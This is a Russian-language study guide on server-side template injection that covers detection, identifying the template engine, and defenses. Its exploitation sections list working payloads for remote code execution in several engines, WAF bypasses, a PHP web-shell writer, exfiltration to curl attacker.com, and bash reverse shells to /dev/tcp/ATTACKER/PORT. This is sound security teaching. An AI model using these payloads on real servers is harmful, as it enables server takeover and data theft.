На странице
Server-Side Template Injection (SSTI)
1. Что такое SSTI
SSTI — уязвимость, при которой пользовательский ввод попадает в шаблон и интерпретируется шаблонизатором как код, а не как данные.
Атакующий → ввод: {{7*7}} → Шаблонизатор → интерпретирует как выражение
↓
49 в ответе
↓
sandbox escape → RCE
Ключевое: шаблонизатор вычисляет выражения, вызывает методы, обходит объекты — атакующий использует эту мощность для выполнения кода на сервере.
Безопасно vs Уязвимо
# БЕЗОПАСНО — ввод передаётся как данные
template = "Привет, {{ username }}!"
render(template, username=user_input)
# user_input = "{{7*7}}" → отобразится буквально "{{7*7}}"
# УЯЗВИМО — ввод вставляется в сам шаблон
template = "Привет, " + user_input + "!"
render(template)
# user_input = "{{7*7}}" → шаблонизатор вычислит → "Привет, 49!"
Разница: данные в шаблон (безопасно) vs ввод КАК шаблон (SSTI).
2. SSTI vs XSS — принципиальная разница
| XSS | SSTI | |
|---|---|---|
| Где исполняется | В браузере (клиент) | На сервере |
| Язык | JavaScript | Python, PHP, Java, Ruby... |
| Доступ | DOM, cookies, localStorage | Файлы, ОС, БД, сеть |
| Максимальный импакт | Угон сессии, фишинг | RCE — полный контроль сервера |
| Severity | Medium-High | High-Critical |
Внешне могут выглядеть похоже (ввод отражается на странице), но SSTI на порядок опаснее.
3. Шаблонизаторы: кто есть кто
Основные движки по языкам
| Язык | Движок | Синтаксис | Опасность |
|---|---|---|---|
| Python | Jinja2 | {{ }} / {% %} | Высокая — MRO цепочки |
| Python | Mako | ${ } / <% %> | Очень высокая — прямой Python |
| PHP | Twig | {{ }} / {% %} | Высокая — фильтры, _self |
| PHP | Smarty | { } | Высокая — {php} тег (старые версии) |
| Java | Freemarker | ${ } / <# > | Очень высокая — Execute, ObjectConstructor |
| Java | Velocity | $var / #set() | Высокая — рефлексия |
| Java | Thymeleaf | ${ } в атрибутах | Высокая — SpEL-инъекции |
| Java | Pebble | {{ }} / {% %} | Высокая — рефлексия |
| Ruby | ERB | <%= %> | Очень высокая — прямой Ruby |
| JS/Node | Pug (Jade) | отступы | Высокая |
| JS/Node | Handlebars | {{ }} | Низкая — ограниченная логика |
| JS/Node | EJS | <%= %> | Высокая — прямой JS |
| .NET | Razor | @( ) / @{ } | Средняя |
Logic-less vs Logic-full
- Logic-less (Mustache, Handlebars) — минимум логики, SSTI маловероятна
- Logic-full (Jinja2, Twig, Freemarker, ERB, Mako, Pebble) — циклы, вызовы методов, доступ к объектам → поверхность атаки
4. Обнаружение SSTI
Шаг 1: Найти точки отражения
Где пользовательский ввод может попасть в шаблон:
Очевидные:
- Отображение имени пользователя, email, профиля
- Поисковая строка с отражением: "Результаты для: X"
- Комментарии, отзывы, сообщения
- Кастомизация шаблонов (CMS, email-рассылки, конструкторы)
Менее очевидные:
- Страницы ошибок: "Страница X не найдена" (404)
- Сообщения об ошибках: "Неверный параметр: X"
- PDF/email генерация — данные рендерятся через шаблон
- Превью сообщений
- Параметры в URL:
?name=,?message=,?greeting=,?template= - Заголовки HTTP (редко):
Host,Refererподставляются в шаблон
Шаг 2: Отличить SSTI от простого отражения
Подставь математическое выражение в синтаксисе шаблонизатора:
Ввод: {{7*7}}
Если в ответе "49" → шаблонизатор вычислил → SSTI
Если в ответе "{{7*7}}" → просто отражение → не SSTI
Но {{7*7}} — не единственный синтаксис! Пробуй разные:
{{7*7}} — Jinja2, Twig, Handlebars
${7*7} — Freemarker, Mako, Thymeleaf
#{7*7} — Thymeleaf (Spring), Ruby
<%= 7*7 %> — ERB, EJS
{7*7} — Smarty
#set($x=7*7)$x — Velocity
Polyglot payload
Универсальный детектор, покрывающий большинство движков:
${{<%[%'"}}%\
Почему работает:
${{— триггерит Freemarker/Mako (${...}) и Jinja2/Twig ({{...}})<%— ERB/EJS/JSP[%— Perl Template Toolkit'"— вызывает ошибку парсера при незакрытых строках}}%\— закрывающие конструкции разных движков
Цель: вызвать ошибку парсера, подтверждая наличие template engine. Если сервер вернул 500 с stack trace — шаблонизатор есть.
SSTI через Host header
Некоторые приложения подставляют заголовок Host в шаблон для генерации ссылок (например, password reset emails):
Host: {{7*7}}.evil.com
Если в email'е появится 49.evil.com — SSTI через Host header. Встречается в Django, Flask, Ruby on Rails при некорректной конфигурации.
Шаг 3: Дерево решений PortSwigger (определение движка)
Это ключевая методология — последовательная подстановка payload'ов:
${7*7}
/ \
49 a]${7*7}
/ \
${7*7} работает #{7*7}
(Java/Python) \
| 49 → Thymeleaf / Ruby
{{7*7}} не 49 → неизвестный
/ \
49 ошибка/ничего
/ \
{{7*'7'}} не этот синтаксис
/ \ → пробуй другие
7777777 49
| |
Jinja2 Twig
Полное дерево:
1. Подставь {{7*7}}
→ 49? ─────── Да ──→ 2. Подставь {{7*'7'}}
│ → "7777777"? ── Да ──→ Jinja2 (Python)
│ → "49"? ─────── Да ──→ Twig (PHP)
│
└── Нет ──→ 3. Подставь ${7*7}
→ 49? ─── Да ──→ 4. Подставь ${class.getClass()}
│ → ответ? ── Да ──→ Java (Freemarker/Velocity)
│ → ошибка? ─ Да ──→ Mako (Python)
│
└── Нет ──→ 5. Подставь <%= 7*7 %>
→ 49? ── Да ──→ ERB (Ruby) / EJS (Node)
│
└── Нет ──→ 6. Подставь {7*7}
→ 49? ── Да ──→ Smarty (PHP)
└── Нет ──→ другой движок
Ключевой payload: {{7*'7'}}
Зачем: различает Jinja2 и Twig (оба используют {{ }}):
| Payload | Jinja2 (Python) | Twig (PHP) |
|---|---|---|
{{7*'7'}} | 7777777 (Python: "7" * 7 = повтор строки) | 49 (PHP: строка приводится к числу) |
5. Sandbox Escape — ключевая концепция
Что такое sandbox
Шаблонизатор намеренно ограничивает доступный функционал:
- Нет
import - Нет
eval,exec,system - Нет доступа к файловой системе
- Только переменные, переданные в шаблон
Sandbox escape — это поиск пути обойти эти ограничения, оставаясь внутри шаблона.
Почему нельзя просто {{ import os; os.system("id") }}
Шаблонизатор не выполняет произвольный код языка. Он выполняет только выражения в своём синтаксисе. import — это statement Python, не выражение Jinja2. Шаблонизатор его не понимает.
Но шаблонизатор умеет обращаться к атрибутам объектов — и этого достаточно для побега.
6. Эксплуатация по движкам
6.1 Jinja2 (Python) — MRO-цепочки
MRO (Method Resolution Order) — цепочка наследования классов в Python. Каждый объект → его класс → базовый object → все подклассы → опасные классы.
Цепочка по шагам:
# 1. Берём любой доступный объект (строка, число, список)
""
# 2. Получаем его класс
"".__class__ → <class 'str'>
# 3. Поднимаемся к базовому классу object через MRO
"".__class__.__mro__ → (<class 'str'>, <class 'object'>)
"".__class__.__mro__[1] → <class 'object'>
# 4. Получаем ВСЕ подклассы object (сотни!)
"".__class__.__mro__[1].__subclasses__()
# → [..., <class 'subprocess.Popen'>, <class 'os._wrap_close'>, ...]
# 5. Находим нужный класс по индексу и вызываем
"".__class__.__mro__[1].__subclasses__()[ИНДЕКС]("id", shell=True)
Визуально:
"" (строка)
└── __class__ → str
└── __mro__ → [str, object]
└── object
└── __subclasses__() → [list, dict, ..., subprocess.Popen, ...]
└── Popen("id", shell=True) → RCE!
Готовые payload'ы для Jinja2:
Чтение файлов:
{{ "".__class__.__mro__[1].__subclasses__()[ИНДЕКС]("/etc/passwd").read() }}
RCE через subprocess.Popen:
{{ "".__class__.__mro__[1].__subclasses__()[INDEX]("id", shell=True, stdout=-1).communicate() }}
RCE через config/request (если доступны объекты Flask):
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__init__.__globals__['os'].popen('id').read() }}
RCE через cycler (Jinja2 >= 2.11, не нужен Flask):
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Как найти нужный индекс подкласса:
Индекс subprocess.Popen (или другого опасного класса) отличается на разных системах. Поиск:
# Вывести все подклассы и найти нужный вручную:
{{ "".__class__.__mro__[1].__subclasses__() }}
# Или использовать цикл:
{% for cls in "".__class__.__mro__[1].__subclasses__() %}
{% if cls.__name__ == 'Popen' %}
{{ loop.index0 }}
{% endif %}
{% endfor %}
Обход WAF / фильтров в Jinja2
Если фильтруются _, ., [, ], class и т.д.:
# Через attr() фильтр (обход точки и подчёркиваний)
{{ ""| attr("__class__") | attr("__mro__") }}
# Через request.args (обход фильтрации строк)
{{ "".__class__.__mro__[1].__subclasses__()[request.args.i|int](request.args.cmd,shell=True,stdout=-1).communicate() }}
# URL: ?i=INDEX&cmd=id
# Hex-кодирование строк
{{ ""["\x5f\x5fclass\x5f\x5f"] }} ← \x5f = _
# Через dict и join
{{ dict(__cla=1,ss__=1)|join }} → "__class__"
# Через format string
{{ "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) }}
6.2 Twig (PHP)
Twig 1.x (старый — прямой путь к RCE):
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("id") }}
Twig 2.x / 3.x:
{{ ['id'] | filter('system') }}
{{ ['cat /etc/passwd'] | filter('exec') }}
{{ app.request.server.get('DOCUMENT_ROOT') }}
Чтение файлов:
{{ source('/etc/passwd') }}
{{ include('/etc/passwd') }}
Через map:
{{ ['id'] | map('system') | join }}
{{ ['id'] | sort('system') | join }}
6.3 Freemarker (Java)
Один из самых опасных — есть встроенные средства выполнения кода:
Execute (прямой RCE):
<#assign ex = "freemarker.template.utility.Execute"?new()>
${ex("id")}
ObjectConstructor:
<#assign obj = "freemarker.template.utility.ObjectConstructor"?new()>
${obj("java.lang.Runtime").getRuntime().exec("id")}
Чтение файлов:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve("/etc/passwd").toURL().openStream().readAllBytes()?join(" ")}
6.4 Velocity (Java)
#set($runtime = $class.inspect("java.lang.Runtime"))
#set($getRuntime = $runtime.getMethod("getRuntime", null))
#set($rt = $getRuntime.invoke(null, null))
#set($exec = $rt.exec("id"))
$exec.waitFor()
Или короче:
#set($ex = $class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($result = $ex.inputStream)
6.5 Smarty (PHP)
Старые версии (< 3):
{php}system('id');{/php}
Новые версии:
{system('id')}
{Smarty_Internal_Write_File::writeFile('/var/www/html/shell.php','<?php system($_GET["cmd"]); ?>',self::clearConfig())}
6.6 ERB (Ruby)
ERB даёт прямой доступ к Ruby — sandbox'а практически нет:
<%= system("id") %>
<%= `id` %>
<%= IO.popen("id").read() %>
<%= File.read("/etc/passwd") %>
6.7 Mako (Python)
Аналогично — прямой Python:
${__import__("os").popen("id").read()}
<% import os; os.system("id") %>
6.8 Thymeleaf (Java / Spring)
Инъекция через Spring Expression Language (SpEL):
${T(java.lang.Runtime).getRuntime().exec('id')}
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
Thymeleaf может быть уязвим даже без ${ } — через имена view:
GET /path/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
6.9 Pebble (Java / Spring)
Набирающий популярность Java-движок. Синтаксис похож на Twig ({{ }} / {% %}).
Обнаружение:
{{ "test".toUpperCase() }} → TEST
RCE:
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd) %}
{{ bytes.inputStream.text }}
Через рефлексию:
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}
7. Blind SSTI
Если результат выражения не виден в ответе:
Тайминг
# Jinja2 — тяжёлое вычисление
{{ range(100000000)|list }}
# Или sleep через RCE
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("sleep 5", shell=True) }}
Если ответ задерживается → SSTI подтверждена.
OOB (Out-of-Band)
# Jinja2 — DNS/HTTP callback
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("curl http://COLLABORATOR", shell=True) }}
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("nslookup COLLABORATOR", shell=True) }}
# Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("curl http://COLLABORATOR/$(id)")}
# Twig
{{ ['curl http://COLLABORATOR'] | filter('system') }}
Используй Burp Collaborator или interactsh для приёма callback'ов.
8. SSTI → RCE: цепочка
В отличие от XXE (чтение файлов) или SSRF (запросы), SSTI даёт прямой путь к RCE:
Обнаружение → {{7*7}} = 49
Идентификация → {{7*'7'}} = 7777777 → Jinja2
Sandbox escape → MRO-цепочка к subprocess.Popen
RCE → id, cat /etc/passwd, reverse shell
Всё в одном HTTP-запросе. Не нужен ни webshell, ни внешний сервер, ни запись файлов.
Reverse shell через SSTI
# Jinja2
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'", shell=True) }}
# Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")}
# ERB
<%= system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") %>
9. Связки с другими уязвимостями
SSTI редко существует в изоляции. Понимание связок позволяет эскалировать импакт или обнаружить SSTI через смежные уязвимости.
| Цепочка | Как работает | Импакт |
|---|---|---|
| SSTI → SSRF | RCE через SSTI = можно делать любые запросы из кода | Полный доступ к внутренней сети, cloud metadata |
| SSRF → SSTI | SSRF на внутренний сервис, который рендерит шаблоны | RCE через template injection |
| SSTI → LFI | Чтение файлов через template (config, env) до достижения RCE | Утечка секретов |
| XSS → SSTI | XSS на клиенте + серверный рендер шаблонов при SSR | Эскалация клиентской уязвимости |
| SSTI + WAF bypass | Обфускация через attr(), hex, dict+join | Обход защиты |
Подробнее о SSRF → SSRF (Server-Side Request Forgery).
10. Методология тестирования
Шаг 1: Обнаружение точек ввода
- Найти все места, где ввод отражается в ответе
- Обратить внимание на: страницы ошибок, профили, поиск, email-шаблоны, PDF-генерацию
- Проверить параметры:
name=,message=,template=,email=,greeting= - Проверить заголовки:
Host,Referer(редко, но бывает)
Шаг 2: Определение SSTI
Подставь payload'ы в каждую точку отражения:
# Универсальный набор для обнаружения:
{{7*7}}
${7*7}
<%= 7*7 %>
{7*7}
#{7*7}
${{7*7}}
Если видишь 49 — SSTI подтверждена.
Если ничего — попробуй:
{{7*7}} → отражается как {{7*7}}? → не шаблонизатор
→ ошибка 500? → шаблонизатор есть, но синтаксис неверный
→ пусто / отфильтровано? → может быть WAF
Шаг 3: Идентификация движка (дерево решений)
1. {{7*7}} = 49?
├── Да → {{7*'7'}}
│ ├── 7777777 → Jinja2
│ └── 49 → Twig
└── Нет → ${7*7} = 49?
├── Да → Java (Freemarker/Velocity) или Mako
└── Нет → <%= 7*7 %> = 49?
├── Да → ERB или EJS
└── Нет → {7*7} = 49?
├── Да → Smarty
└── Нет → другой / нет SSTI
Дополнительные проверки для уточнения:
# Java: Freemarker vs Velocity
${"freemarker.template.utility.Execute"?new()("id")} → работает? → Freemarker
#set($x=7*7)$x → работает? → Velocity
# Python: Jinja2 vs Mako
${7*7} → работает + нет {% %} → Mako
{{7*7}} → работает → Jinja2
Шаг 4: Эксплуатация
Определил движок → используй payload'ы из раздела 6.
Порядок эскалации:
1. Подтверждение: {{7*7}} → 49
2. Чтение конфига: config, settings, env
3. Чтение файлов: /etc/passwd, .env, config.php
4. RCE: id, whoami
5. Reverse shell / дальнейшая эксплуатация
Шаг 5: Если не работает
- Попробуй другой синтаксис — может быть не тот движок
- Проверь фильтрацию:
_,.,[,{{— и используй обходы (раздел 6.1) - Попробуй blind SSTI: payload выполняется, но результат не отображается
- Тайминг:
{{ range(10000000) }}— страница грузится дольше? - OOB:
{{ "".__class__.__mro__[1].__subclasses__()[IDX]("curl attacker.com/$(id)", shell=True) }}
- Тайминг:
- Попробуй через заголовки: тот же payload в
User-Agent,Referer
11. Защита от SSTI
Правильный подход — разделение данных и шаблона
# БЕЗОПАСНО — ввод как данные
render_template("hello.html", name=user_input)
# Шаблон: "Привет, {{ name }}!"
# user_input = "{{7*7}}" → отобразится буквально
# УЯЗВИМО — ввод в самом шаблоне
template = Template("Привет, " + user_input + "!")
template.render()
Общие принципы
- Никогда не конкатенировать ввод с шаблоном — всегда передавать через контекст/переменные
- Sandbox — использовать песочницу шаблонизатора (Jinja2 SandboxedEnvironment)
- Whitelist символов — если пользователь пишет шаблоны, ограничить допустимые конструкции
- Минимальный контекст — не передавать в шаблон объекты с опасными методами
- WAF — фильтрация
{{,${,<%— но это ненадёжно (обходы существуют)
Jinja2 Sandbox
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
template.render()
# Блокирует доступ к __class__, __mro__, __subclasses__ и т.д.
Sandbox не абсолютная защита — исследователи периодически находят обходы. Лучший подход: не давать пользователю контроль над шаблоном вообще.
12. Оценка Severity
| Severity | Условия |
|---|---|
| Critical | RCE через sandbox escape, reverse shell, доступ к ОС |
| High | Чтение произвольных файлов с секретами, доступ к конфигам, переменным окружения |
| Medium | Ограниченное чтение данных, blind SSTI без полного RCE, утечка внутренней информации |
| Low | Только вычисление выражений без эскалации, отсутствие доступа к ОС |
SSTI почти всегда Critical — потому что sandbox escape существует для большинства движков, и путь от обнаружения до RCE обычно короткий.
13. Инструменты
| Инструмент | Назначение |
|---|---|
| tplmap | Автоматическое обнаружение и эксплуатация SSTI (поддерживает Jinja2, Twig, Freemarker, Velocity, Smarty, Mako, ERB и др.) |
| SSTImap | Форк tplmap с расширенной поддержкой движков |
| Burp Suite | Перехват запросов, подстановка payload'ов, Intruder для фаззинга |
| Burp Collaborator / interactsh | Подтверждение blind SSTI |
| PayloadsAllTheThings | Репозиторий с payload'ами для всех движков |
| HackTricks | Справочник по sandbox escape для каждого движка |
tplmap — автоматизация
# Обнаружение и идентификация
python tplmap.py -u "http://target.com/page?name=test"
# С указанием POST-параметра
python tplmap.py -u "http://target.com/page" -d "name=test"
# Получение shell
python tplmap.py -u "http://target.com/page?name=test" --os-shell
# Чтение файла
python tplmap.py -u "http://target.com/page?name=test" --os-cmd "cat /etc/passwd"
14. Известные кейсы
Uber (2016, Bug Bounty): SSTI в Jinja2 через параметр профиля → RCE. Баунти $10,000+.
Shopify (2019, Bug Bounty): SSTI в Liquid-шаблонах → чтение внутренних данных через объекты шаблонизатора.
Adobe (2020, Bug Bounty):
SSTI в Freemarker → полный RCE на сервере через Execute.
PortSwigger Research: Многочисленные исследования sandbox escape в Jinja2, Twig, Freemarker — каждая новая версия закрывает дыры, но исследователи находят новые обходы.
Spring Framework (CVE-2022-22963): SpEL-инъекция (аналог SSTI в Thymeleaf) → RCE. Массовая эксплуатация.
15. Q&A — Вопросы для подготовки
Что такое SSTI?
Уязвимость, при которой пользовательский ввод попадает не в данные шаблона, а в сам шаблон — и шаблонизатор интерпретирует его как код. Ввод {{7*7}} превращается в 49 не потому что приложение это вычислило, а потому что template engine обработал выражение. Ключевое отличие от безопасного использования: render(template, data=input) — безопасно, render("Hello " + input) — SSTI.
Из-за чего SSTI обычно возникает?
Конкатенация пользовательского ввода с шаблоном перед рендером, а не передача через параметры/контекст. Типичные сценарии: кастомизация email-шаблонов через админку, динамическая сборка страниц из частей в базе данных, "быстрый фикс" для вставки текста без добавления нового параметра. Разработчик не различает "данные для шаблона" и "часть шаблона".
Как выглядит безопасный паттерн в отличие от уязвимого?
Безопасно: render_template("page.html", name=user_input) — движок подставляет значение переменной, спецсимволы шаблона не интерпретируются. Уязвимо: render_template_string("Привет, " + user_input) — движок не может отличить статичный шаблон от пользовательского ввода, всё обрабатывается как единая конструкция. Даже если ввод экранируется от HTML-инъекций — template-синтаксис ({{, ${, <%) всё равно выполняется.
Какие два контекста SSTI важно различать?
Plaintext context: ввод находится вне шаблонных конструкций — Hello, INPUT → Hello, {{7*7}} → Hello, 49. Здесь payload работает напрямую. Code context: ввод уже внутри шаблонного выражения — Hello, {{INPUT}} → нужно сначала "закрыть" текущую конструкцию: username}}<tag>. Если HTML-тег появился в ответе — ввод вышел из выражения и интерпретируется как шаблон.
Почему SSTI часто путают с XSS?
Внешне похожи — ввод отражается на странице. Но XSS выполняется в браузере (клиент), а SSTI — на сервере. XSS даёт доступ к DOM, cookies, localStorage. SSTI даёт доступ к файловой системе, ОС, сети — это путь к RCE. При первичном обнаружении отражения важно проверять не только <script>alert(1)</script>, но и {{7*7}}, ${7*7}, <%= 7*7 %>.
Почему для SSTI критично определить конкретный template engine?
Каждый движок имеет свой синтаксис, доступные объекты, ограничения и пути к RCE. Payload для Jinja2 (__class__.__mro__) не работает в Twig или Freemarker. Дерево решений PortSwigger ({{7*'7'}} = 7777777 → Jinja2, = 49 → Twig) позволяет за 2-3 запроса определить движок и выбрать правильные payload'ы. Без идентификации — слепой перебор, который может занять часы.
Какой импакт у SSTI, если RCE не достигается?
Чтение переменных окружения шаблона (config, settings, env — часто содержат секреты, API-ключи, строки подключения к БД). Чтение файлов (в Twig: source('/etc/passwd'), в Jinja2 через __subclasses__). Утечка внутренней информации: версия фреймворка, пути на сервере, имена классов — полезно для дальнейшей атаки. SSTI без RCE — обычно High severity из-за утечки конфиденциальных данных.
Почему sandbox у template engine — не абсолютная защита?
Sandbox ограничивает доступные операции — но исследователи регулярно находят обходы. В Jinja2 SandboxedEnvironment блокирует __class__ и __mro__, но атрибуты можно получить через attr() фильтр, hex-кодирование, dict+join. Twig SecurityPolicy ограничивает фильтры и функции — но новые обходы появляются с каждой версией. Sandbox усложняет эксплуатацию, но не устраняет корневую причину — ввод всё ещё интерпретируется как шаблон.
Какой зрелый ответ по защите от SSTI?
Главное — никогда не конкатенировать ввод с шаблоном, всегда передавать через контекст/переменные. Если пользователь должен писать шаблоны (CMS, email) — использовать logic-less движки (Mustache, Handlebars без хелперов), которые не позволяют выполнять код. Sandbox — дополнительный слой, но не основная защита. Контейнеризация и минимальные привилегии ограничивают blast radius при RCE. Зрелый подход — комбинация: разделение данных и шаблона + logic-less движок или sandbox + контейнерная изоляция.
16. Шпаргалка для быстрого повторения
SSTI = пользовательский ввод интерпретируется шаблонизатором как код
Суть уязвимости:
render("Привет, " + INPUT) ← уязвимо (ввод КАК шаблон)
render(template, name=INPUT) ← безопасно (ввод как данные)
Обнаружение:
{{7*7}}, ${7*7}, <%= 7*7 %>, {7*7}, #{7*7}
→ видишь 49 → SSTI
Polyglot: ${{<%[%'"}}%\ → 500 с trace → движок есть
Идентификация (дерево):
{{7*'7'}} = 7777777 → Jinja2
{{7*'7'}} = 49 → Twig
${7*7} → Freemarker/Mako
<%= 7*7 %> → ERB/EJS
"test".toUpperCase() → Pebble
Sandbox escape (Jinja2):
"" → __class__ → __mro__ → object → __subclasses__() → Popen → RCE
Быстро: {{ cycler.__init__.__globals__.os.popen('id').read() }}
Ключевые payload'ы:
Jinja2: {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
Twig: {{ ['id'] | filter('system') }}
Freemarker: ${"freemarker.template.utility.Execute"?new()("id")}
ERB: <%= system("id") %>
Mako: ${__import__("os").popen("id").read()}
Pebble: {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}
Blind SSTI:
Тайминг → тяжёлое вычисление / sleep
OOB → curl/nslookup на Collaborator
Связки:
SSTI → SSRF (запросы из кода)
SSRF → SSTI (внутренний сервис с шаблонами)
SSTI → LFI (чтение файлов до RCE)
Инструменты: tplmap, SSTImap, Burp Suite
Severity: почти всегда Critical (SSTI ≈ RCE)
Защита: ввод через переменные, не через конкатенацию с шаблоном
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.